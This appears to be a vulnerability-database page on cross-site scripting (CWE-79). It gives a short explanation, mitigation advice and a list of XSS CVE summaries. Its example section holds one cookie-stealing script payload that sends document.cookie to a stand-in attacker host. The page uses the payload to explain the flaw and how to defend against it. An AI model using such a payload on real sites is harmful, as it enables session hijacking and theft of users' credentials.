Fallos del tipo CWE-79

29.050 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-31779MEDIUMWekan v6.84 and earlier is vulnerable to Cross Site Scripting (XSS). An attacker with user privilege on kanban board can insert JavaScript cEPSS 0.6%CVE-2023-28669MEDIUMJenkins JaCoCo Plugin 3.3.2 and earlier does not escape class and method names shown on the UI, resulting in a stored cross-site scripting (EPSS 0.6%CVE-2024-29271MEDIUMReflected Cross-Site Scripting (XSS) vulnerability in VvvebJs before version 1.7.7, allows remote attackers to execute arbitrary code and obEPSS 0.6%CVE-2023-4433HIGHCross-site Scripting (XSS) - Stored in cockpit-hq/cockpitEPSS 0.6%CVE-2025-54597HIGHLinuxServer.io Heimdall before 2.7.3 allows XSS via the q parameter.EPSS 0.6%CVE-2015-6462—Reflected Cross-Site Scripting (nonpersistent) allows an attacker to craft a specific URL, which contains Java script that will be executed EPSS 0.6%CVE-2024-4527LOWCampcodes Complete Web-Based School Management System student_payment_details2.php cross site scriptingEPSS 0.6%CVE-2024-4525LOWCampcodes Complete Web-Based School Management System student_payment_details4.php cross site scriptingEPSS 0.6%CVE-2023-5127MEDIUMWP Font Awesome <= 1.7.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.6%CVE-2024-4526LOWCampcodes Complete Web-Based School Management System student_payment_details3.php cross site scriptingEPSS 0.6%CVE-2021-24467—Leaflet Map < 3.0.0 - Arbitrary Settings Update via CSRF Leading to Stored XSSEPSS 0.6%CVE-2025-50754CRITICALUnisite CMS version 5.0 contains a stored Cross-Site Scripting (XSS) vulnerability in the "Report" functionality. A malicious script submittEPSS 0.6%CVE-2023-1481LOWSourceCodester Monitoring of Students Cyber Accounts System POST Parameter cross site scriptingEPSS 0.6%CVE-2013-10021LOWdd32 Debug Bar Plugin class-debug-bar-queries.php render cross site scriptingEPSS 0.6%CVE-2022-38527MEDIUMUCMS v1.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Import function under the Site Management page.EPSS 0.6%CVE-2012-10013LOWKau-Boy Backend Localization Plugin backend_localization.php cross site scriptingEPSS 0.6%CVE-2023-3681LOWCampcodes Retro Cellphone Online Store modal_add_product.php cross site scriptingEPSS 0.6%CVE-2017-20183LOWExternal Media without Import Plugin external-media-without-import.php print_media_new_panel cross site scriptingEPSS 0.6%CVE-2024-37674MEDIUMCross Site Scripting vulnerability in Moodle CMS v3.10 allows a remote attacker to execute arbitrary code via the Field Name (name parameterEPSS 0.6%CVE-2015-10098LOWBroken Link Checker Plugin ui_get_action_links cross site scriptingEPSS 0.6%